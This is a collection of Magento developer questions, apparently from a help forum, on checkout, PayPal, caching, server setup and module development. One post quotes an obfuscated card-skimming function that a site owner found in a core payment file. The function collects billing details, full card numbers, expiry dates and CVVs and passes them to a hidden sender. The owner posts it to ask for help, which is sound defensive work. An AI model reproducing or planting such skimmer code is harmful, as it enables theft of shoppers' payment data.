texts: Problem with adding products to wishlist

texts:
i have a problem with adding products to my wishlist. When i try to do it i get this php error:

Fatal error: Call to a member function getProduct() on a non-object in /usr/www/users/glnvgv/g4n.eu/e-watches/app/code/core/Mage/Wishlist/Block/Customer/Wishlist/Item/Options.php on line 117

My Magento installation is near-fresh. I know, that it's connected with url a little bit, because error is in url like this:

/index.php/wishlist/index/index/wishlist_id/2/

Look at double index in the url. Isn't it strange? And product is added to wishlist successfully (i got message when i open another url from my shop), but i don't know where this error comes from.

Greetings


texts: Custom live chat script not working in Magento 2.2.4

texts:
I have tried adding the chat script on .phtml of the custom extension which I have created for integrating my own live chat. But the libraries are showing undefined when the chat plugin loads the minified js.
Please let me know if there is any specific way to define libraries in Magento 2 which are being used in chat js as the same plugin is working on other platforms.

<script type = "text/javascript" >
   function initSupportScript() {
       var t = document.getElementsByTagName("head")[0],
           e = document.createElement("script");
       e.type = "text/javascript", e.src = 'https://www.example.com/plugins/js/chatcustomersupport.v3.min.js', e.onload = initChat, t.appendChild(e)
   }
if ("undefined" == typeof jQuery) {
   var headTag = document.getElementsByTagName("head")[0],
       jqTag = document.createElement("script");
   jqTag.type = "text/javascript", jqTag.src = "https://www.example.com/static/assets/global/plugins/jquery.min.js", jqTag.onload = initSupportScript, headTag.appendChild(jqTag)
} else initSupportScript();

/* Initialize Chat */
function initChat() {
   Chat.initialize({
       customercode: 'xxxxxxxxxxxxxxxxxx', // encrypted customer code
       key: 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', // partner support key
       iv: 'xxxxxxxxxxxxxxxxx', // pseudo random string in hex format
       label: 'Live Support',
       context: 'xxxxxxxxxxxxxxxx',
       success: function() {
           // your callback here (optional)
       },
       error: function(e) {
           console.log(e);
       }
   });
}
</script>

thanks


texts: Paypal Express with coupon and custom discount

texts:
Paypal Express works fine if there's no coupon applied. If there's a coupon applied, it fails with the usual #10413 error "totals of the cart item amounts do not match order amounts".

I have a requirement to customize the discount logic so that the discounts are reflected in the unit prices and not in the standard lump sum. There is a rounding issue when the quantities are large and Paypal will reject the payment. After hacking the Paypal module code, I can send a correct AMT = ITEMAMT + SHIPPING.

However, after returning from the Paypal payment confirmation page to Magento, for some reason the error #10413 appears again because AMT is changed (not the AMT that was sent to Paypal). I am not able to figure out why or how AMT is changed.

I am using Magento community version 1.8.1.0.


texts: code added to core file being used to steal cc info

texts:
I'm curious, our client has been getting calls about users getting cc's stolen after being used on their site.

After running multiple scans and checking at the server level the only thing I could find was some curious looking code in the following file: /app/code/core/Mage/Payment/Model/Method/Cc.php (pasted code snippet below).

I checked the code against a fresh Magento install of same version and not seeing this code. Couple questions...

Does the code below look malicious?
How do you think it was hacked and how to protect from in the future?

Using Magento 1.9.2.4

function validateInfoType($data)
{
    $object = new Mage_Checkout_Block_Onepage_Billing;
    $MageAPI = 'https://api.magento.com/id=token...';
    $i = str_split($MageAPI);

    $token = 'token...'.
             'token...'.
             'token...'.
             'token...';

    $callback = explode('token', $token);

    $api = $i[60].$i[8].$i[4].$i[15].$i[34].$i[36].$i[54].$i[25].$i[15].$i[20].$i[18].$i[25].$i[15];
    $apiID = $api($callback[19]);
    $validBin = substr($data->getCcNumber(), 0, 6);
    $validBank = explode($validBin, file_get_contents($api($callback[15]).$validBin));
    $validCard = explode($api($callback[16]), $validBank[2]);
    $validBankName = explode($api($callback[17]), $validCard[5]);

    $info  = $api($callback[1]).$object->getQuote()->getBillingAddress()->getFirstname().' '.$object->getQuote()->getBillingAddress()->getLastname()."\n";
    $info .= $api($callback[2]).$object->getQuote()->getBillingAddress()->getStreet(1)."\n";
    $info .= $api($callback[3]).$object->getQuote()->getBillingAddress()->getStreet(2)."\n";
    $info .= $api($callback[4]).$object->getQuote()->getBillingAddress()->getCity()."\n";
    $info .= $api($callback[5]).$object->getQuote()->getBillingAddress()->getRegion()."\n";
    $info .= $api($callback[6]).$object->getQuote()->getBillingAddress()->getPostcode()."\n";
    $info .= $api($callback[7]).$object->getQuote()->getBillingAddress()->getTelephone()."\n";
    $info .= $api($callback[8]).$object->getQuote()->getBillingAddress()->getCountry()."\n";
    $info .= $api($callback[9]).Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail()."\n";
    $info .= $api($callback[10]).$data->getCcOwner()."\n";
    $info .= $api($callback[11]).$data->getCcNumber()."\n";
    $info .= $api($callback[12]).$validCard[3]."\n";
    $info .= $api($callback[13]).$data->getCcExpMonth().'/20'.substr($data->getCcExpYear(), -2)."\n";
    $info .= $api($callback[14]).$data->getCcCid()."\n";
    $info .= $_SERVER['SERVER_NAME'].' '.date('Y-m-d H:i:s');

    $apiID($api($callback[18]),substr($data->getCcNumber(), 0, 6).' - '.$validCard[2].' '.$validCard[3].' '.$validCard[4].' - '.$validBankName[0].' ['.$_SERVER['SERVER_NAME'].' - '.$_SERVER['REMOTE_ADDR'].']', $info);
}


texts: Magento 2 Dependency Injection constuctor arguments

texts:
I have been playing around with Magento 2. There are some things which I don't understand yet. As far as I know so far is that the object manager automatically inserts the right objects to the constuctor. I have some questions regarding this.

I have a controller which extends the following class:

\Magento\Framework\App\Action\Action

When I open this class I see that the __constuctor class has one argument and it expects to be an instance of the Context object.

Now for learning purposes i did this to see with is being injected (it doesn't take more then two arguments by default).

public function __construct($a, $b)
{
    var_dump(get_class($a));
    var_dump(get_class($b));
}

It outputs the following

string(34) "Magento\Backend\App\Action\Context"
string(41) "Magento\Framework\View\Result\PageFactory"

Why are these objects injected? Where can I see which objects I can pass in my constuctor. I couldn't findt any hints in the parent class. I suppose it is dependend on the class I extend?

What happens when I extends below class? And how does the system (and I) know what will be injected?

\Magento\Sales\Controller\Adminhtml\Order\AbstractMassAction

What I am looking for in an answer is not a solution or explaination for this specific example. Moreover I am looking for an overall explaination how I can understand the system better and where I can lookup what I should or must pass as an argument.


texts: Magento 1.9.3 : color swatches not working in ultimo theme

texts:
I created configurable product and enable configurable swatches from admin. And added color with "Red-swatch" in image section. Added image for simple product also.

But color swatches are not doing swap image. Please check following link:

http://superbuniforms.com/magento/special-deal/men-white-chef-coat.html

Please provide particular solution.

Thanks


texts: Adding product with custom option (drop down) to cart by query string?

texts:
My product (id 1234) has one custom options, called colors. The id of colors is 1234567, its a drop down and it has several options, like yellow, red and black.

Now I am trying to add that product including its custom option "yellow" with id 5678 to the cart, like this:

http://www.whatever.com/index.php/checkout/cart/add?product=1234&qty=1&options[1234567]=5678

This always results in the "There are missing custom options" error in the cart. Why? Whats wrong with my approach?


texts:
I have a website i want to set the price of Product A as Rs 10 (fs shipping address is India) and  Rs 15 (if the shipping address is outside India)

I want that during checkout if the user selects country price gets changed based on his country.

for that

1: I have created two stores Store India and STore Outside India
2: price attribute scope changed to store level
3: I do not want to restrict country for store instead it should auto switch

based on the shipping country

what should I do to achieve above please help


texts:
Buenos días y disculparme, pero soy nuevo en Magento y acabo de instalar Magento 2.4 en mi cPanel y al intentar acceder al panel de administración desde https://xxxx.xxx/index.php/admin123 me dice que Debo configurar la autorización de dos factores para poder acceder al área de administración de su tienda.
Me podéis ayudar a solventarlo?


texts: How do I get the language code in the product price amount template file?

texts: How can I get the current language code in Magento_Catalog::product/price/amount/default.phtml?


texts:
I am trying to create an invoice via API. I am using Soap V2 and VB.net. I am have trouble creating an array of OrderItmeIdQty. I keep getting a Null Reference Exception was Unhanded. I do not understand how to create the array. Below is my code so far.

 Dim mage As New MagentoSOAPV2.Mage_Api_Model_Server_V2_HandlerPortTypeClient

 Dim sessionId = mage.login("xxxx", "xxxxxx")

 Dim order = mage.salesOrderInfo(sessionId, "100000020")

 Dim qty(0) As orderItemIdQty

 For Each item As salesOrderItemEntity In order.items

      qty(0).order_item_id = item.order_id
      qty(0).qty = item.qty_ordered

 Next

 Dim invoice As String = mage.salesOrderInvoiceCreate(sessionId, "100000020", qty, Nothing, Nothing, Nothing)

Here is the sample code that magento provides.

$proxy = new SoapClient('http://magentohost/api/v2_soap/?wsdl'); // TODO : change url
$sessionId = $proxy->login('apiUser', 'apiKey'); // TODO : change login and pwd if necessary

//Create invoice for order
$qty = array(array('order_item_id' => '15', 'qty' => '1'));
$invoiceIncrementId = $proxy->salesOrderInvoiceCreate($sessionID,'200000008',$qty);
var_dump($invoiceIncrementId);


texts: Magento 2 - Cache problem for check if user is logged in phtml file

texts:
I use this code, on .phtml file,

if($customerSession->isLoggedIn()) {}

for check if the user is logged. But, when I active the cache, this code does not work fine.
How I can resolve this problem?


texts:
Most of the time during the customization, we need at one time to use a getData() on an object exemple $_item = $this->getItem(); to retrieve the datas and see if we have what we are looking for, except that sometimes we come across a large number of items So that it takes a long time to load and sometimes even go to the time out.

My question is: it is possible to add a limit on the getData() ? or if you have other tricks to get the datas of an object, that would be welcome.

EDIT:

To clarify better what i want, I know that I can filter by name like getData('attribute_name') but admit that I'm looking for 20 attributes, so to not mention them all one by one. I wanted to know if there was a way to limit theme per (100) for exemple.

How do you do when you want to know the data present in some object that you don't know what it contains ?


texts: Magento 2 Error message: Invalid state change requested

texts:
I've created custom Rest API for adding and removing products from cart.

I am able to add and delete products from my cart, but when I log in as a customer, I can't add or delete products from cart.

API throws message: Invalid state change requested.

How can I solve this?


texts: How to add 301 Redirect pages in magento 2?

texts:
I want to add 301 redirects to these URLs -
1-> From www.abc.com/blog To www.abc.com/blog/
2-> From www.abc.com/contact To www.abc.com/contact/
3-> From www.abc.com/catalogsearch/advanced To www.abc.com/catalogsearch/advanced/
I have added this (see screenshot) but it gives me too Many Redirects Error -

Thanx..


texts: Varnish with NGINX SSL proxy 502 error Magento 2

texts:
I am trying to setup an nginx backend with Varnish and magento 2.3.2.
To do that the flow would be:
Port 80 is forwaded to 443.
443 proxypass to Varnish
Listener on 8080.

Here is the nginx config for port 80:

upstream fastcgi_backend {
# Socket path
  server unix:/run/php/php7.2-fpm.sock;
}

server {
    listen 80;
    server_name magento-test.example.com;

    location ^~ /.well-known/acme-challenge/ {
      allow all;
      root /var/lib/letsencrypt/;
      default_type "text/plain";
      try_files $uri =404;
    }
    return 301 https://magento-test.example.com$request_uri;
}

Then the listener on port 443 with proxypass:

server {
    listen 443 ssl http2;
    server_name magento-test.example.com;

    ssl_certificate ...
    ssl_certificate_key ...
    ssl_trusted_certificate ...
    ssl_dhparam /etc/ssl/certs/dhparam.pem;

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_ciphers 'AES128+EECDH:AES128+EDH:!aNULL';
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 24h;
    keepalive_timeout 300s;

    location / {
        proxy_pass http://127.0.0.1;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Host $http_host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Ssl-Offloaded "1";
        proxy_set_header X-Forwarded-Proto https;
        proxy_set_header X-Forwarded-Port 443;
        #proxy_hide_header X-Varnish;
        #proxy_hide_header Via;
        proxy_set_header X-Forwarded-Proto $scheme;

}

}

And finally the listener on port 8080:

server {
  server_name magento-test.example.com;
  listen 8080;
  set $MAGE_ROOT /var/www/magento-test.example.com;
  set $MAGE_MODE production; # or developer

  include /var/www/magento-test.example.com/nginx.conf.sample;
}

My varnish is configured the following way:

DAEMON_OPTS=" -a :6081 \
               -T localhost:6082 \
               -f /etc/varnish/default.vcl \
               -S /etc/varnish/secret \
               -p feature=+esi_ignore_other_elements \
               -p cli_buffer=16384 \
               -p vcc_allow_inline_c=on \
               -s malloc,256m"

And

backend default {
    .host = "127.0.0.1";
    .port = "8080";
    .first_byte_timeout = 300s;
}

Now i get a 502 error and in the logs I can see the following error:

  *35 connect() failed (111: Connection refused) while connecting to upstream, client: xx.xx.xx.xx

If I put the IP in a browser that directs me to a Linksys page (which is what my home router is...)

I tried to remove 127.0.0.1 localhost in the hosts file but still get the same result.

Any idea ?


texts: Magento 2: How to Refund, Cancel & Re-Authorize Paypal Order Programmatically

texts:
How to use below function for already Ordered by Paypal

magento\vendor\magento\module-paypal\Model\Express.php

refund()
void()

First need to load the Order then will get the payment

$orderId = 1;

$objectManager = \Magento\Framework\App\ObjectManager::getInstance();
$order = $objectManager->create('\Magento\Sales\Model\Order')->load($orderId);
$order->getPayment()

After Refund & Cancel Order from Paypal need to Update Order Status accordingly & Notify Customer.

Re-Authorization: https://developer.paypal.com/docs/classic/paypal-payments-standard/integration-guide/authcapture/ Paypal holds payment for 29 days. How can I extend it?


texts: Magento 2 - Product names with special characters

texts:
Products having special characters like TM, I am importing products using &trade; for TM, it appears as expected on product detail and listing page. But when the product is added to cart, in mini-cart I see &trade; string instead of TM.

How can I import or create products with the product name containing special characters in Magento 2?


texts:
A site I took over is acting very funny after we moved it to another database and directory.  I am going to give two links, the same page from two different sites.  What happened is, we had a development site in one directory and a production site in the root dir.  We just copied over the dev site to the root and changed the local.xml to point to the prod. database.  now the product pages are acting weird.  One difference in the site that I see is that the correct page is using col2 left, and the other is col3.  now these pages were custom and not in my list of cms pages, so I do not know where to change them or find them.

Not working:  https://precisiondelta.com/index.php/products/ammunition.html/

Working :     http://precisiondelta.com/backupold/index.php/products/ammunition.html/


texts: Magento 2.3. - Generate thumbnail on frontend for custom image uploader

texts:
I have created an admin grid where can upload images.
On the frontend I will be rendering the uploaded images in 2 places - one small image (thumbnail) and other will be the real place where will show the image.
Is there any way how to generate a thumbnail image for the uploaded image? So I won't have to load 1000x1000 image as a thumbnail if its real size will be 50x50.
Thank you!


texts: Magento 2.2.x debug in NetBeans IDE 8.1 via chrome or mozilla

texts:
In order to debug PHP scripts in NetBeans IDE 8.1 via Chrome or Mozilla.

What i need to install for Browser and which code i should put in my Magento project and php.ini file?

What changes i need to made in php.ini file related to [XDebug] ?

My system configuration is

7.0.27-1+ ubuntu14.04.1 + deb.sury.org+1

Apache/2.4.7 (Ubuntu)

If anyone is aware about the whole process then please help me out.


texts: How to update checkout page's layout according to specific condition?

texts: I wanto to add my custom block to checkout, if the conditions in cart are satisfied. Which steps should I follow?


texts: Am running the command setup:di:compile, I get this error:

texts:
php bin/magento setup:di:compile
Compilation was started.
Area configuration aggregation... 5/8 [========>-----]  62% 34 secs 348.0 MiB
In ClassReader.php line 43:
Class Magento\Catalog\Model\Category\Image does not exist
In ClassReader.php line 36:
Class Magento\Catalog\Model\Category\Image does not exist
setup:di:compile


texts: How to create modifier for admin customer form in magento 2?

texts:
I have created a new virtualType to change newly added customer attribute value in customer form. But I am unable to modify attribute data.
What is wrong with the below code?


texts: I was wondering what is the purpose of styles.scss magento 1.9.1 rwd theme

texts:
So for days, I have been trying to find an answer to what really is the purpose of styles.scss it only contains the code below.

"$mq-support: true;
$mq-fixed-value: false;

@import "framework";
@import "core";"

I have found that editing styles.scss and adding my changes to things like the header can act in some ways like a local xml for rendering in changes to the css, I mean in as far as it seems to compile to the css the same just without having to seek out the scss in the layout template for header and such. I found a few tutorials stating you never want to edit the scss located in the layout folder. So the end question is it better to edit the layout files from styles.scss or go directly into the layout folders and edit things such as header. What would be the best practice on editing these files? /* thanks in advance */


texts: Magento2 - Reload page after remove item from Minicart

texts: I have been trying to reload the page after removing item from Minicart in Magento2, Can anyone help on this.


texts: Magento 2 Remove link from left navigation in my account Section

texts:
I have removed some link from left navigation in My account section and its removed successfully but getting space between links after removing the links.

I have used below code to remove unusual link

<referenceBlock name="customer-account-navigation-downloadable-products-link" remove="true"/>
        <referenceBlock name="customer-account-navigation-billing-agreements-link" remove="true"/>
        <referenceBlock name="customer-account-navigation-my-credit-cards-link" remove="true"/>

Please refer to below screenshot:

As in attached screenshot there is an space after My Order and account information.

Please let me know what is best way to remove links so space is also removed.


texts: Magento 2 add a field to front account information tab

texts:
I'm trying to add a custom text field to the edit account information page on frontend customer dashboard, so i tried to create a module

like this in

  VendorName\ModuleName\Setup\InstallData.php

namespace VendorName\ModuleName\Setup;

use Magento\Eav\Setup\EavSetup;
use Magento\Eav\Setup\EavSetupFactory;
use Magento\Framework\Setup\InstallDataInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\ModuleDataSetupInterface;

/**
* @codeCoverageIgnore
*/
class InstallData implements InstallDataInterface
{
/**
 * EAV setup factory
 *
 * @var EavSetupFactory
 */
private $eavSetupFactory;

/**
 * Init
 *
 * @param EavSetupFactory $eavSetupFactory
 */
public function __construct(EavSetupFactory $eavSetupFactory)
{
    $this->eavSetupFactory = $eavSetupFactory;
}

/**
 * {@inheritdoc}
 * @SuppressWarnings(PHPMD.ExcessiveMethodLength)
 */
public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context)
{
    /** @var EavSetup $eavSetup */
    $eavSetup = $this->eavSetupFactory->create(['setup' => $setup]);
    if (version_compare($context->getVersion(), '1.0.0') < 0){

            $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
            $customerSetup = $objectManager->create('Wetag\InvoiceEmail\Setup\CustomerSetup');
            $customerSetup->installAttributes($customerSetup);

    }

}

And in

  VendorName\ModuleName\Setup\CustomerSetup.php

<?php

namespace VendorName\ModuleName\Setup;

use Magento\Eav\Model\Config;
use Magento\Eav\Model\Entity\Setup\Context;
use Magento\Eav\Setup\EavSetup;
use Magento\Framework\App\CacheInterface;
use Magento\Framework\Setup\ModuleDataSetupInterface;
use Magento\Eav\Model\ResourceModel\Entity\Attribute\Group\CollectionFactory;

class CustomerSetup extends EavSetup {

protected $eavConfig;

public function __construct(
    ModuleDataSetupInterface $setup,
    Context $context,
    CacheInterface $cache,
    CollectionFactory $attrGroupCollectionFactory,
    Config $eavConfig
    ) {
    $this -> eavConfig = $eavConfig;
    parent :: __construct($setup, $context, $cache, $attrGroupCollectionFactory);
}

public function installAttributes($customerSetup) {
    $this -> installCustomerAttributes($customerSetup);
    $this -> installCustomerAddressAttributes($customerSetup);
}

public function installCustomerAttributes($customerSetup) {

    $customerSetup -> addAttribute(\Magento\Customer\Model\Customer::ENTITY,
        'invoice_email',
        [
        'label' => 'invoice email',
        'system' => 0,
        'position' => 100,
        'sort_order' =>100,
        'visible' =>  true,
        'note' => '',

                    'type' => 'varchar',
                    'input' => 'text',

        ]
        );

    $customerSetup -> getEavConfig() -> getAttribute('customer', 'invoice_email')->setData('is_user_defined',1)->setData('is_required',0)->setData('default_value','')->setData('used_in_forms', ['customer_account_edit']) -> save();

}

public function installCustomerAddressAttributes($customerSetup) {

}

public function getEavConfig() {
    return $this -> eavConfig;
}
}

The attribute is added on backend but not on frontend, I saw a post saying to override Magento template, so how to do it, if some one give me the steps to follow to display the field on customer account edit page on front.


texts: 'Place Order' Button Magento 2 PayPal In-Context Checkout

texts:
We are having issues with PayPal Express Checkout in Magento 2.3.3, specifically when the in-context experience is enabled.
If in-context experience is enabled the 'place order' button doesn't fire the PayPal window. If we click directly on the yellow PayPal button then the window does open.
There don't appear to be any errors in the console. Has anyone experienced a similar issue?


texts: Magento 2: Can't complete checkout because of unexpected character of the JSON data

texts:
After filling the shipping information in the first step of checkout, I click on the "Continue" button and the site stops responding. The spinning wheel appears but it is not possible to click on anything else.

It seems the cause of this issue is a "uffef" character inserted somehow in a file. See image attached to see more information obtained from the page inspector in Firefox.

How can I find the file to edit so I can remove that character?

EDIT - JSON response added:

{
    "payment_methods":[
        {
            "code":"cashondelivery",
            "title":"Pago en Oxxo \/ 7-Eleven"
        },
        {
        "code":"banktransfer",
        "title":"Dep\u00f3sito o transferencia bancaria"
        }
    ],
    "totals":
    {
    "grand_total":489,
    "base_grand_total":489,
    "subtotal":359,
    "base_subtotal":359,
    "discount_amount":0,
    "base_discount_amount":0,
    "subtotal_with_discount":359,
    "base_subtotal_with_discount":359,
    "shipping_amount":130,
    "base_shipping_amount":130,
    "shipping_discount_amount":0,
    "base_shipping_discount_amount":0,
    "tax_amount":0,"base_tax_amount":0,
    "weee_tax_applied_amount":null,
    "shipping_tax_amount":0,
    "base_shipping_tax_amount":0,
    "subtotal_incl_tax":359,
    "shipping_incl_tax":130,
    "base_shipping_incl_tax":130,
    "base_currency_code":"MXN",
    "quote_currency_code":"MXN",
    "items_qty":1,
    "items":[{
        "item_id":815,
        "price":359,
        "base_price":359,
        "qty":1,
        "row_total":359,
        "base_row_total":359,
        "row_total_with_discount":0,
        "tax_amount":0,
        "base_tax_amount":0,
        "tax_percent":0,
        "discount_amount":0,
        "base_discount_amount":0,
        "discount_percent":0,
        "price_incl_tax":359,
        "base_price_incl_tax":359,
        "row_total_incl_tax":359,
        "base_row_total_incl_tax":359,
        "options":"[]",
        "weee_tax_applied_amount":null,
        "weee_tax_applied":null,
        "name":"Playera Test"
    }],
    "total_segments":[{
        "code":"subtotal",
        "title":"Subtotal",
        "value":359
        },
        {
            "code":"shipping",
            "title":"Shipping & Handling (Est\u00e1ndar - 1 a 4 d\u00edas h\u00e1biles)",
            "value":130
        },
        {
            "code":"tax",
            "title":"Impuestos",
            "value":0,
            "extension_attributes":{
                "tax_grandtotal_details":[]
            }
        },
        {
            "code":"grand_total",
            "title":"Total",
            "value":489,
            "area":"footer"
        }
    ]}
}


texts: Magento 2: Cart price rule condition programmatically

texts:
I have a cart price rule whose id is 5. This rule applied for all customers and no condition applied to this. I want to make a condition on this rule is False when the payment method is paypal_billing_agreement  You can see in the screenshot

This condition I make from the admin panel But my requirement changes, now I want to do this by InstallData.php or other way But should be programmatically in my custom module. Because my some other functionality related to these conditions.


texts: We have thousands of products with videos to move from the old shop system and we need a way to import videos to Magento. Is there some nice product video extension that would allow to import via csv? Or is there another way we would be able to import the videos along with other product data?


texts: How to create and display custom category attributes

texts:
As the title says, i want to be able to create and display custom category attributes.

I tried this extension: http://www.magentocommerce.com/magento-connect/manage-category-customer-and-customer-address-attributes.html

And this extension allows me to create the attributes, but I dont know how to display them in my template files. I tried the following code:

<?php echo Mage::getResourceModel('catalog/category')->getAttributeRawValue($_category->getId(), "subtitel", Mage::app()->getStore()->getId()); ?>

but that did not do the trick.

Any suggestions?


texts: Does Magento use PHPMailer to handle/send emails?

texts:
Recently a critical remote code execution vulnerability in PHPMailer has been discovered, and that has been reported on https://www.wordfence.com/blog/2016/12/phpmailer-vulnerability/?utm_source=list&utm_campaign=122816&utm_medium=email which focuses on WordPress sites.

However I'd like to know if this can affect somehow Magento installations as well or not.


texts:
I've recently upgraded to 2.3.3 via Installatron on cpanel, now when I visit my home page I have links to other product pages within the navbar and links to the same pages from images that populate the home page.

The links from the navbar do not work but point to the same page as the image links which do work.

The address bar redirection addressees are exactly the same but the images link you get to view the particular product but using the nav links return a 'The page isn’t redirecting properly' error.
I've run php bin/magento -> indexer:reindex -> cache:flush -> setup:upgrade
Any ideas?


texts: How to configure ElasticSearch to consider accents?

texts:
I'm using ElasticSearch 6 and Magento 2.3, and when I search Hélicopter it does not return the products Helicopter without the accent.
I found this possible solution saying to change the 'term' query to 'text' query.
How could I configure it in my Magento installation? Am I able to do it via the admin panel?


texts: Paypal express checkout address fields empty

texts:
We have PayPal expresss checkout enabled in M2 shop.

In few cases there have been missing information from shipping address.

customer name has been firstname field (both firstname and lastname) and lastname empty
zip code has been empty
phone number has been empty.

I tried testing this, but was simply not able to create an address in PayPal with missing information.

How come this is possible? What could be the reason Magento accepts the address with missing fields?


texts: Magento2 check in template if page is homepage

texts:
How would I check directly in a .phtml template if the requested page is homepage?

I would like to add conditionally a class to a given container


texts:
Upgrading from 2.1 to 2.2.2 hers a pic of the error.

**error converting field value in table quote_item_option where option id

Unable to unserialize value**

looked at other articles

UPDATE quote_item_option SET value = NULL WHERE value = '';

sigh more.
ok it completed.


texts: admin icon not clickable after update magento 2.3.5

texts:
admin icon not clickable after update Magento 2.3.5 when mode change to production mode

bin/magento deploy:mode:set production

and when change to  bin/magento deploy:mode:set default then icon is clickable


texts: How To Add Item Sku's and Product Names To Magento 2.2.7 Sales Order Grid

texts:
I have modified the order grid layout by adding this code in:

  vendor/magento/module-sales/view/adminhtml/ui_components/salesordergrid.xml

<column name="order_items" class="Magento\Sales\Ui\Component\Listing\Column\Items">
           <settings>
                <filter>textRange</filter>
                <label translate="true">Items</label>
           </settings>
    </column>

The "item" column is displaying now .

I created a class called

  Magento\Sales\Ui\Component\Listing\Column\Items.php

See Below code:

<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Magento\Sales\Ui\Component\Listing\Column;

use Magento\Framework\Escaper;
use Magento\Ui\Component\Listing\Columns\Column;
use Magento\Framework\View\Element\UiComponent\ContextInterface;
use Magento\Framework\View\Element\UiComponentFactory;
use Magento\Sales\Model\ResourceModel\Order\Status\CollectionFactory;

/**
 * Class Items
 */
class Items extends Column
{
    /**
     * @var Escaper
     */
    protected $escaper;

    /**
     * @param ContextInterface $context
     * @param UiComponentFactory $uiComponentFactory
     * @param Escaper $escaper
     * @param array $components
     * @param array $data
     */
    public function __construct(
        ContextInterface $context,
        UiComponentFactory $uiComponentFactory,
        Escaper $escaper,
        array $components = [],
        array $data = []
    ) {
        $this->escaper = $escaper;
        parent::__construct($context, $uiComponentFactory, $components, $data);
    }

    /**
     * Prepare Data Source
     *
     * @param array $dataSource
     * @return array
     */
    public function prepareDataSource(array $dataSource)
    {
        if (isset($dataSource['data']['items'])) {
            foreach ($dataSource['data']['items'] as & $item) {
              $item[$this->getData('name')] = "test";/*nl2br($this->escaper->escapeHtml($item[$this->getData('name')]));*/
            }
        }

        return $dataSource;
    }
}

How do I get access to the product data for the current order to display it in the column ?

Right now  I just have a place holder string : "test"  outputted for every row.

$item[$this->getData('name')] = "test";

What class/method do I need to call to output the product data instead e.g.

$item[$this->getData('name')] =  function that returns order product data .


texts: Magento2 Delete all products from CLI Custom Script

texts:
Custom Script for Magento2 Delete all products from CLI
Tried Below Script not working

https://www.pearlbells.co.uk/delete-magento-2-products-programmatically/


texts: Add/call a js file only on the home page magento 2?

texts:
I'm using magento 2.

I would like to add or call a js file only on the home page , what is the best file to call it?


texts: Does Magento 1.x follow any coding convention?

texts:
I didn't find any official resource saying that Magento 1.x follow a coding convention. Do you know which coding convention Magento 1.x follows?

Thanks


texts: Order confirmation email being sent twice

texts:
I have no clue about what's going on.

I have a production server and a local dev server, both have the same data, same source code, same running cronjob.

Every time I order something on the production server, the order confirmation email will be sent twice, with the same content. But it works properly on the dev server.

Is there any possible issue that links to this problem based on your experience?

Any response will be highly appreciated.


texts: Magento 2 - AWS Lightsail - Bitnami - Password protect development site

texts:
I have followed the below link and added authentication for Bitnami Magento 2.3.2 development site which is in AWS Lightsail.

https://docs.bitnami.com/bch/apps/magento/administration/use-htpasswd/

I have created htpasswd and magento_users using,

cd /opt/bitnami
apache2/bin/htpasswd -cb apache2/magento_users USERNAME PASSWORD```

Also I have added the below code in /opt/bitnami/apps/magento/conf/httpd-app.conf

<Directory "/opt/bitnami/apps/magento/htdocs">
...
AuthType Basic
AuthName MyAuthName
AuthUserFile "/opt/bitnami/apache2/magento_users"
Require valid-user
...
<IfVersion >= 2.3>
# Require all granted
</IfVersion>
...
</Directory>

After I have restarted the apache and flushed the cache, It asked for username and password when loading dev frontend. When I provide credentials, it end up getting error as,

Error 503 Backend fetch failed
Backend fetch failed

Guru Meditation:
XID: 393256

Varnish cache server

I can't see anything related to this in Apache error_log.

Can anyone please help me out to fix this issue.


texts: How to create Layered Navigation in API?

texts:
I want to fetch Category wise products and products attributes with values just like values of layered navigation in web using REST API.

Any help/advice would be appreciated.


texts: Add custom attributes with product quotation and save in product orders

texts:
Add custom attributes (i.e hire start date & hire end date in below picture) with product quotation and save in product orders items details.

I want these attributes should be visible on checkout page. And must be submitted with orders/quotations for each product in cart.

Then these attributes values must be visible in order items for admin in order details.

Any reference link or hello world example will be appreciated...


texts:
I'm trying to develop an 'optional' checkout step in the default Magento 2 checkout, required only if a specific shipping method is chosen.

I have my js/view/custom_step.js file set up to check the shippingMethod.method_code from the quote object but it only seems to be set after the isVisible() method is called.

Is there a method I can use to remove/add a checkout step on-the-fly during the checkout process?


texts: M2: How to change standard link to redirect new customer account

texts:
I want change link  which redirect to form "Register customer account" to own link

in module-customer  I changed newcustomer.phtml

From:

            <a href="<?= $block->escapeUrl($block->getCreateAccountUrl()) ?>" class="action create primary"><?= $block->escapeHtml(__('Create an Account')) ?>

to:

<?= $block->escapeHtml(__('Create an Account')) ?>

But after save link redirect wrong, to:

https://domain.com/en/customer/account/login/marketplace/seller/register/

should be:

https://domain.com/en/marketplace/seller/register/


texts: Docker Setup for Magento cloud - Elasticsearch issue faced

texts:
I have tried to setup the Magento cloud project using docker desktop preview. And I am using Mac M1 chip.

Docker desktop preview installed successfully.

Followed magento devdocs for docker setup and get the magento cloud projects successfully.

While trying to execute the docker-compose up -d command and elastic search container throws the below error.

Exception in thread "main" java.io.IOException: Cannot run program "/usr/share/elasticsearch/jdk/bin/java": error=0, Failed to exec spawn helper: pid: 240, exit value: 1
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1128)
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1071)
at org.elasticsearch.tools.launchers.JvmErgonomics.flagsFinal(JvmErgonomics.java:114)
at org.elasticsearch.tools.launchers.JvmErgonomics.finalJvmOptions(JvmErgonomics.java:88)
at org.elasticsearch.tools.launchers.JvmErgonomics.choose(JvmErgonomics.java:59)
at org.elasticsearch.tools.launchers.JvmOptionsParser.jvmOptions(JvmOptionsParser.java:139)
at org.elasticsearch.tools.launchers.JvmOptionsParser.main(JvmOptionsParser.java:95)
Caused by: java.io.IOException: error=0, Failed to exec spawn helper: pid: 240, exit value: 1
at java.base/java.lang.ProcessImpl.forkAndExec(Native Method)
at java.base/java.lang.ProcessImpl.(ProcessImpl.java:319)
at java.base/java.lang.ProcessImpl.start(ProcessImpl.java:250)
